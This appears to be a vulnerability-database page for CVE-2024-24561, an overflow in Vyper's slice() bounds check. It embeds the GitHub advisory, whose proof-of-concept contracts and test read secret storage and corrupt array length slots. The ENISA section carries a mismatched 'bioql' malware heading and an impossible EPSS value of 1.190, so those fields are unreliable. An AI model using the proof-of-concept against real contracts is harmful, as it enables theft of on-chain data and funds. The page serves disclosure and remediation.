Loading HuntDB...

CVE-2024-24561

CRITICAL
Published 2024-02-01T16:37:01.007Z
Actions:

Expert Analysis

Professional remediation guidance

Get tailored security recommendations from our analyst team for CVE-2024-24561. We'll provide specific mitigation strategies based on your environment and risk profile.

CVSS Score

V3.1
9.8
/10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score Metrics
Exploitability: N/A Impact: N/A

EPSS Score

v2025.03.14
0.009
probability
of exploitation in the wild

There is a 0.9% chance that this vulnerability will be exploited in the wild within the next 30 days.

Updated: 2025-06-25
Exploit Probability
Percentile: 0.748
Higher than 74.8% of all CVEs

Attack Vector Metrics

Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED

Impact Metrics

Confidentiality
HIGH
Integrity
HIGH
Availability
HIGH

Description

Vyper is a pythonic Smart Contract Language for the ethereum virtual machine. In versions 0.3.10 and earlier, the bounds check for slices does not account for the ability for start + length to overflow when the values aren't literals. If a slice() function uses a non-literal argument for the start or length variable, this creates the ability for an attacker to overflow the bounds check. This issue can be used to do OOB access to storage, memory or calldata addresses. It can also be used to corrupt the length slot of the respective array.

Understanding This Vulnerability

This Common Vulnerabilities and Exposures (CVE) entry provides detailed information about a security vulnerability that has been publicly disclosed. CVEs are standardized identifiers assigned by MITRE Corporation to track and catalog security vulnerabilities across software and hardware products.

The severity rating (CRITICAL) indicates the potential impact of this vulnerability based on the CVSS (Common Vulnerability Scoring System) framework. Higher severity ratings typically indicate vulnerabilities that could lead to more significant security breaches if exploited. Security teams should prioritize remediation efforts based on severity, exploit availability, and the EPSS (Exploit Prediction Scoring System) score, which predicts the likelihood of exploitation in the wild.

If this vulnerability affects products or systems in your infrastructure, we recommend reviewing the affected products section, checking for available patches or updates from vendors, and implementing recommended workarounds or solutions until a permanent fix is available. Organizations should also monitor security advisories and threat intelligence feeds for updates about active exploitation of this vulnerability.

Available Exploits

No exploits available for this CVE.

Related News

No news articles found for this CVE.

Affected Products

References

EU Vulnerability Database

Monitored by ENISA for EU cybersecurity

EU Coordination

EU Coordinated

Exploitation Status

No Known Exploitation

ENISA Analysis

Malicious code in bioql (PyPI)

Affected Products (ENISA)

vyperlang
vyper

ENISA Scoring

CVSS Score (3.1)

9.8
/10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS Score

1.190
probability

Data provided by ENISA EU Vulnerability Database. Last updated: October 3, 2025

GitHub Security Advisories

Community-driven vulnerability intelligence from GitHub

✓ GitHub Reviewed CRITICAL

Vyper's bounds check on built-in `slice()` function can be overflowed

GHSA-9x7f-gwxq-6f2c

Advisory Details

## Summary [The bounds check for slices](https://github.com/vyperlang/vyper/blob/b01cd686aa567b32498fefd76bd96b0597c6f099/vyper/builtins/functions.py#L404-L457) does not account for the ability for `start + length` to overflow when the values aren't literals. If a `slice()` function uses a non-literal argument for the `start` or `length` variable, this creates the ability for an attacker to overflow the bounds check. This issue can be used to do OOB access to storage, memory or calldata addresses. It can also be used to corrupt the `length` slot of the respective array. A contract search was performed and no vulnerable contracts were found in production. tracking in issue https://github.com/vyperlang/vyper/issues/3756. patched in https://github.com/vyperlang/vyper/pull/3818. ## Details Here the flow for `storage` is supposed, but it is generalizable also for the other locations. When calling `slice()` on a storage value, there are compile time bounds checks if the `start` and `length` values are literals, but of course this cannot happen if they are passed values: ```python if not is_adhoc_slice: if length_literal is not None: if length_literal < 1: raise ArgumentException("Length cannot be less than 1", length_expr) if length_literal > arg_type.length: raise ArgumentException(f"slice out of bounds for {arg_type}", length_expr) if start_literal is not None: if start_literal > arg_type.length: raise ArgumentException(f"slice out of bounds for {arg_type}", start_expr) if length_literal is not None and start_literal + length_literal > arg_type.length: raise ArgumentException(f"slice out of bounds for {arg_type}", node) ``` At runtime, we perform the following equivalent check, but the runtime check does not account for overflows: ```python ["assert", ["le", ["add", start, length], src_len]], # bounds check ``` The storage `slice()` function copies bytes directly from storage into memory and returns the memory value of the resulting slice. This means that, if a user is able to input the `start` or `length` value, they can force an overflow and access an unrelated storage slot. In most cases, this will mean they have the ability to forcibly return `0` for the slice, even if this shouldn't be possible. In extreme cases, it will mean they can return another unrelated value from storage. ## POC: OOB access For simplicity, take the following Vyper contract, which takes an argument to determine where in a `Bytes[64]` bytestring should be sliced. It should only accept a value of zero, and should revert in all other cases. ```python # @version ^0.3.9 x: public(Bytes[64]) secret: uint256 @external def __init__(): self.x = empty(Bytes[64]) self.secret = 42 @external def slice_it(start: uint256) -> Bytes[64]: return slice(self.x, start, 64) ``` We can use the following manual storage to demonstrate the vulnerability: ```json {"x": {"type": "bytes32", "slot": 0}, "secret": {"type": "uint256", "slot": 3618502788666131106986593281521497120414687020801267626233049500247285301248}} ``` If we run the following test, passing `max - 63` as the `start` value, we will overflow the bounds check, but access the storage slot at `1 + (2**256 - 63) / 32`, which is what was set in the above storage layout: ```solidity function test__slice_error() public { c = SuperContract(deployer.deploy_with_custom_storage("src/loose/", "slice_error", "slice_error_storage")); bytes memory result = c.slice_it(115792089237316195423570985008687907853269984665640564039457584007913129639872); // max - 63 console.logBytes(result); } ``` The result is that we return the secret value from storage: ``` Logs: 0x0000...00002a ``` ## POC: `length` corruption `OOG` exception doesn't have to be raised - because of the overflow, only a few bytes can be copied, but the `length` slot is set with the original input value. ```python d: public(Bytes[256]) @external def test(): x : uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2**256-1 self.d = b"\x01\x02\x03\x04\x05\x06" # s : Bytes[256] = slice(self.d, 1, x) assert len(slice(self.d, 1, x))==115792089237316195423570985008687907853269984665640564039457584007913129639935 ``` The corruption of `length` can be then used to read dirty memory: ```python @external def test(): x: uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2**256 - 1 y: uint256 = 22704331223003175573249212746801550559464702875615796870481879217237868556850 # 0x3232323232323232323232323232323232323232323232323232323232323232 z: uint96 = 1 if True: placeholder : uint256[16] = [y, y, y, y, y, y, y, y, y, y, y, y, y, y, y, y] s :String[32] = slice(uint2str(z), 1, x) # uint2str(z) == "1" #print(len(s)) assert slice(s, 1, 2) == "22" ``` ## Impact The built-in `slice()` method can be used for OOB accesses or the corruption of the `length` slot.

Affected Packages

PyPI vyper
ECOSYSTEM: ≥0 <0.4.0

CVSS Scoring

CVSS Score

9.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Advisory provided by GitHub Security Advisory Database. Published: February 1, 2024, Modified: November 22, 2024

References

Published: 2024-02-01T16:37:01.007Z
Last Modified: 2025-06-17T21:29:22.442Z
Copied to clipboard!